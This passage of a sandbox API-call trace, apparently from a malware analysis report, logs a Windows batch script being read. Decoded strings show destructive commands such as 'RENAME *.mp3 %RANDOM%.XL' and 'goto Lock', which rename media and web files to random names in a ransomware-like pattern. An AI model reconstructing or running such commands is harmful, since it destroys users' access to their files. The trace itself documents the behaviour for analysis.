returned 0x615 [0037.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.157] GetFileType (hFile=0x74) returned 0x1 [0037.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0037.157] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=1559, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0037.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0037.157] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.157] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0037.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.158] GetFileType (hFile=0x74) returned 0x1 [0037.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0037.158] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=1585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0037.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0037.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0037.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.158] GetFileType (hFile=0x74) returned 0x1 [0037.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0037.158] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=1596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0037.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0037.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0037.158] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.158] GetFileType (hFile=0x74) returned 0x1 [0037.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0037.159] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=1598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0037.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0037.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.159] GetFileType (hFile=0x74) returned 0x1 [0037.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0037.159] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=1604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0037.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0037.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0037.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.159] GetFileType (hFile=0x74) returned 0x1 [0037.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0037.159] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=1606, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0037.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0037.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0037.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.160] GetFileType (hFile=0x74) returned 0x1 [0037.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0037.160] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=1632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0037.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0037.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0037.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.160] GetFileType (hFile=0x74) returned 0x1 [0037.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0037.160] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=1643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0037.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0037.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0037.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.161] GetFileType (hFile=0x74) returned 0x1 [0037.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0037.161] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=1645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0037.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0037.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.161] GetFileType (hFile=0x74) returned 0x1 [0037.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0037.161] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=1651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0037.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0037.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0037.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.162] GetFileType (hFile=0x74) returned 0x1 [0037.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0037.162] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=1653, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0037.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0037.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0037.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.162] GetFileType (hFile=0x74) returned 0x1 [0037.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0037.162] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=1679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0037.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0037.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0037.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.162] GetFileType (hFile=0x74) returned 0x1 [0037.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0037.162] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=1690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.163] GetFileType (hFile=0x74) returned 0x1 [0037.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0037.163] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=1692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0037.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0037.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.163] GetFileType (hFile=0x74) returned 0x1 [0037.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0037.163] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0037.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0037.164] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0037.164] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.164] GetFileType (hFile=0x74) returned 0x1 [0037.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0037.164] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=1700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0037.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0037.164] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0037.164] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.164] GetFileType (hFile=0x74) returned 0x1 [0037.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0037.164] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=1726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0037.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0037.164] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0037.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.165] GetFileType (hFile=0x74) returned 0x1 [0037.195] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0037.195] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.195] SetFilePointer (in: hFile=0x74, lDistanceToMove=1737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0037.196] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.196] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.196] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0037.196] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.196] GetFileType (hFile=0x74) returned 0x1 [0037.196] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0037.196] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.196] SetFilePointer (in: hFile=0x74, lDistanceToMove=1739, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0037.196] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.196] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.197] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0037.197] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.197] GetFileType (hFile=0x74) returned 0x1 [0037.197] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0037.197] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.197] SetFilePointer (in: hFile=0x74, lDistanceToMove=1745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0037.197] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0037.197] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.197] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0037.197] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.197] GetFileType (hFile=0x74) returned 0x1 [0037.197] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0037.197] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.197] SetFilePointer (in: hFile=0x74, lDistanceToMove=1747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0037.197] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0037.197] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.197] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0037.197] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.197] GetFileType (hFile=0x74) returned 0x1 [0037.198] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0037.198] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.198] SetFilePointer (in: hFile=0x74, lDistanceToMove=1773, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0037.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0037.198] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.198] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0037.198] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.198] GetFileType (hFile=0x74) returned 0x1 [0037.198] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0037.198] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.198] SetFilePointer (in: hFile=0x74, lDistanceToMove=1784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0037.198] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0037.198] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.198] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0037.198] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.198] GetFileType (hFile=0x74) returned 0x1 [0037.198] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 